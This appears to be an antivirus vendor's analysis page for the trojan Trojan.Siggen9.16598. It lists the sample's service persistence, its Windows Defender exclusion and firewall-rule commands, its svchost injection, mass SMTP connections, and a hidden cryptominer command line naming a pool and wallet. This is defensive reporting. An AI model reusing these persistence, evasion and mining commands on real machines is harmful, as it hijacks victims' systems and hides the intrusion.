Trojan.Siggen9.16598

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\pzuttlui] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\pzuttlui] 'ImagePath' = '%WINDIR%\SysWOW64\pzuttlui\wetxkirr.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\pzuttlui] 'ImagePath' = '%WINDIR%\SysWOW64\pzuttlui\wetxkirr.exe'

Creates the following services

'pzuttlui' %WINDIR%\SysWOW64\pzuttlui\wetxkirr.exe /d"<Full path to file>"
'pzuttlui' %WINDIR%\SysWOW64\pzuttlui\wetxkirr.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\pzuttlui' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\wetxkirr.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\wetxkirr.exe to %WINDIR%\syswow64\pzuttlui\wetxkirr.exe

Deletes itself.

Network activity

Connects to

'et###.#ail.tiscali.it':25
'mx#.##l.iphmx.com':25

TCP

HTTP GET requests

http://www.google.com/

'ALT1.ASPMX.L.GOOGLE.COM':25

'in.###.trendmicro.eu':25

'gw###.don.com':25

'mx#.##rthlink.net':25

'ew######n-02.mbs.boeing.net':25

'mx###.####ierinternetsolutions.com':25

'ga####an.kari.re.kr':25

'sm#####1.state.mi.us':25

'go###e.com.au':443

'go##le.ru':443

'google.com':443

'mx####.carrierzone.com':25

'27.##.176.228':25

'43.#31.4.7':443

'ms#####.##c.protection.outlook.com':25

'cr########f.com.1.0001.arsmtp.com':25

'mx.##.#tinternet.com':25

'on#####10.onkyo.co.jp':25

'mx#.######deempresas.telefonica.es':25

'cr###errods.com':25

'mx#.###amailservers.com':25

'sm##.#iberpipe.net':25

'li######.#lc.protection.outlook.com':25

'fa######.##il.protection.outlook.com':25

'mx.##ter.net.il':25

'kp####.###.mx1.greymail.rcimx.net':25

'ma#####cwindows.com.au':25

'fi####.one4support.com':25

'go###e.com.ua':443

'mx#####.#ail.gm0.yahoodns.net':25

'mx###.##il.am0.yahoodns.net':25

'ma##.#ickelhost.com':25

'85.##4.134.88':486

'mi####.bittubeapp.com':13333

'mx#.mail.ru':25

'mt##.##0.yahoodns.net':25

'sr####.sdc-dsc.gc.ca':25

'aspmx.l.google.com':25

'mx####.##il.gm0.yahoodns.net':25

'ma##########om.mail.protection.outlook.com':25

'alt2.aspmx.l.google.com':25

'ac####ic8.csu.edu':25

'eu#.###.#rotection.outlook.com':25

'ho#########.olc.protection.outlook.com':25

'as#.##flexion.net':25

'sm##.tin.it':25

'ma##.##ownplaceltd.com':25

'ma###########o-com.mail.protection.outlook.com':25

'ma##.tre.it':25

'om##########om.mail.protection.outlook.com':25

'mx.###erlandia.it':25

'ph######n-02.mbs.boeing.net':25

'na#.###.#rotection.outlook.com':25

'gmail-smtp-in.l.google.com':25

'78.#1.67.23':430

'18#.#65.238.150':430

'17#.#.114.177':430

'46.#.52.109':430

'93.##9.69.109':430

'46.#8.66.2':430

'pr#####.##ea.email.fireeyecloud.com':25

'mx#.####anada.ca.iphmx.com':25

'ma####01.i2ts.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK fr###vee.com
DNS ASK is##.net
DNS ASK te####resorts.net
DNS ASK ka##.re.kr
DNS ASK ga####an.kari.re.kr
DNS ASK fr#e.tv
DNS ASK ai##g.com
DNS ASK am####01.aig.com
DNS ASK co##ast.net
DNS ASK mx#.#omcast.net
DNS ASK is#####otumori.mi.it
DNS ASK co##i.com
DNS ASK ya##o.it
DNS ASK md##.#tate.mi.us
DNS ASK sm#####1.state.mi.us
DNS ASK ya##o.ca
DNS ASK ot##et.gr
DNS ASK mx.##enet.gr
DNS ASK go###e.com.au
DNS ASK go##le.ru
DNS ASK co##xis.com
DNS ASK mx####.carrierzone.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK fr##-tv.de
DNS ASK ye###wcorp.com
DNS ASK mx.#######.net.cust.a.hostedemail.com
DNS ASK ag##tel.net
DNS ASK ha##an.com
DNS ASK ya##o.co.in
DNS ASK mx#####.#ail.gm0.yahoodns.net
DNS ASK fr##t.us
DNS ASK ALT1.ASPMX.L.GOOGLE.COM
DNS ASK fi##ea.it
DNS ASK mx#.#insea.it
DNS ASK fr##tux.net
DNS ASK ve##zon.net
DNS ASK hs#.#oeing.com
DNS ASK cd##.com
DNS ASK is###fotech.com
DNS ASK ew######n-02.mbs.boeing.net
DNS ASK do#.com
DNS ASK gw###.don.com
DNS ASK ev#.net
DNS ASK mx#.##rthlink.net
DNS ASK ma##.ev1.net
DNS ASK me#.#nibs.it
DNS ASK ho##ail.de
DNS ASK ho##ail.fr
DNS ASK co##d.net
DNS ASK mx###.####ierinternetsolutions.com
DNS ASK fm###.mycci.net
DNS ASK in.###.trendmicro.eu
DNS ASK li#t.ru
DNS ASK cr###ergulf.com
DNS ASK cr########f.com.1.0001.arsmtp.com
DNS ASK mx.##ter.net.il
DNS ASK kp##et.net
DNS ASK kp####.###.mx1.greymail.rcimx.net
DNS ASK kr#####nstruction.com
DNS ASK we###oint.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK cr####laceltd.com
DNS ASK ma##.##ownplaceltd.com
DNS ASK ma#####cwindows.co.uk
DNS ASK fi####.one4support.com
DNS ASK nl###rica.com
DNS ASK va##o.com
DNS ASK co####idated.net
DNS ASK av##tis.com
DNS ASK i2##.com
DNS ASK ma####01.i2ts.com
DNS ASK na##.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK pe###ney.com
DNS ASK da###-net.com
DNS ASK ti###linet.it
DNS ASK et###.#ail.tiscali.it
DNS ASK ma##stik.fr
DNS ASK mx#.ovh.net
DNS ASK za###.net.il
DNS ASK cr####ircuit.com
DNS ASK um########.mail.protection.outlook.com
DNS ASK cr###errods.com
DNS ASK ms#.com
DNS ASK ms#####.##c.protection.outlook.com
DNS ASK jp.##kyo.com
DNS ASK go###e.com.ua
DNS ASK on#####10.onkyo.co.jp
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK is##ine.it
DNS ASK em###.isisecure.it
DNS ASK ca###aser.com
DNS ASK mx#.######deempresas.telefonica.es
DNS ASK dh#.com
DNS ASK ma#####cwindows.com.au
DNS ASK mx#.###amailservers.com
DNS ASK fi###pipe.net
DNS ASK sm##.#iberpipe.net
DNS ASK ve##tas.com
DNS ASK co###serve.com
DNS ASK co###azobia.com
DNS ASK li##.com
DNS ASK li######.#lc.protection.outlook.com
DNS ASK ge.com
DNS ASK mx#######a02.gslb.pphosted.com
DNS ASK co####zobiainfo.com
DNS ASK um##ic.com
DNS ASK ma##.#lamerica.com
DNS ASK co###########t02b.mail.protection.outlook.com
DNS ASK fr###urmail.com
DNS ASK alt2.aspmx.l.google.com
DNS ASK es##pe.ca
DNS ASK mx.##mts.net
DNS ASK cs#.edu
DNS ASK ac####ic8.csu.edu
DNS ASK ku###tel.com
DNS ASK mx##.1and1.com
DNS ASK po####taliane.it
DNS ASK ma###.#osteitaliane.it
DNS ASK gl####rotter.qc.ca
DNS ASK sr####.sdc-dsc.gc.ca
DNS ASK re###.##obetrotter.qc.ca
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK un##a.it
DNS ASK cs##.org
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK it###elecom.it
DNS ASK de##lb.org
DNS ASK as#.##flexion.net
DNS ASK ra###-canada.ca
DNS ASK va##han.ca
DNS ASK mx.#p.pl
DNS ASK dr##er.it
DNS ASK wp.pl
DNS ASK ma###philia.com
DNS ASK pr#####.powergate.ca
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ya##o.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mt##.##0.yahoodns.net
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK ma#l.ru
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK mx#.mail.ru
DNS ASK mi####.bittubeapp.com
DNS ASK cl######.us.messagelabs.com
DNS ASK li#e.nl
DNS ASK hr####rhdcc.gc.ca
DNS ASK ma##########om.mail.protection.outlook.com
DNS ASK gm#.de
DNS ASK mx##.#mig.gmx.net
DNS ASK cs##.edu
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK ao#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK un##n.it
DNS ASK aspmx.l.google.com
DNS ASK po###gate.ca
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK ma###homes.com
DNS ASK ng##.org
DNS ASK cr##al.it
DNS ASK pr#####.##ea.email.fireeyecloud.com
DNS ASK al##alia.it
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK li##ro.it
DNS ASK sm####n.libero.it
DNS ASK fr#####-sponsoring.de
DNS ASK mx##.#spgateway.de
DNS ASK ti#.it
DNS ASK sm##.tin.it
DNS ASK la##n.it
DNS ASK google.com
DNS ASK ma##.#ickelhost.com
DNS ASK fr###urtle.net
DNS ASK co###ica-adv.it
DNS ASK mx.###eturtle.net
DNS ASK ce#i.it
DNS ASK ce#####.##il.protection.outlook.com
DNS ASK di###tvla.com
DNS ASK mx######91d01.pphosted.com
DNS ASK ya##o.co.uk
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK fr###uscany.it
DNS ASK mx.###etuscany.it
DNS ASK co####eyoungllc.com
DNS ASK mx#.##ailsrvr.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK tr#.it
DNS ASK gm##l.com
DNS ASK th##irs.org
DNS ASK ai###nada.ca
DNS ASK mx#.####anada.ca.iphmx.com
DNS ASK no##el.ca
DNS ASK mx##.bnr.ca
DNS ASK re##.org
DNS ASK mx##.#and1.co.uk
DNS ASK sc####sonline.org
DNS ASK li#e.fr
DNS ASK ma####sibarolo.com
DNS ASK ma###########o-com.mail.protection.outlook.com
DNS ASK si##op.org
DNS ASK ho###il.co.uk
DNS ASK wi###wslive.com
DNS ASK ma##.tre.it
DNS ASK om###icket.com
DNS ASK om##########om.mail.protection.outlook.com
DNS ASK no###e.com.pl
DNS ASK ky###landia.it
DNS ASK mx.###erlandia.it
DNS ASK ya###.com.ar
DNS ASK ps#.#oeing.com
DNS ASK ph######n-02.mbs.boeing.net
DNS ASK fa##k.it
DNS ASK fa######.##il.protection.outlook.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK mx#.##l.iphmx.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\pzuttlui\wetxkirr.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\pzuttlui\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wetxkirr.exe" %WINDIR%\SysWOW64\pzuttlui\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create pzuttlui binPath= "%WINDIR%\SysWOW64\pzuttlui\wetxkirr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description pzuttlui "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start pzuttlui' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\pzuttlui\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wetxkirr.exe" %WINDIR%\SysWOW64\pzuttlui\
'%WINDIR%\syswow64\sc.exe' create pzuttlui binPath= "%WINDIR%\SysWOW64\pzuttlui\wetxkirr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description pzuttlui "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start pzuttlui
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3SR4afw4CJsq2dWvisbAWdDfFLcj88bav7nt1bjojpjUVedMEXXXcPiB27hV3RJMVmSBdfq4vs6PHDcG5uTSoj2oiWF2UKB.70000 -p x -k

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial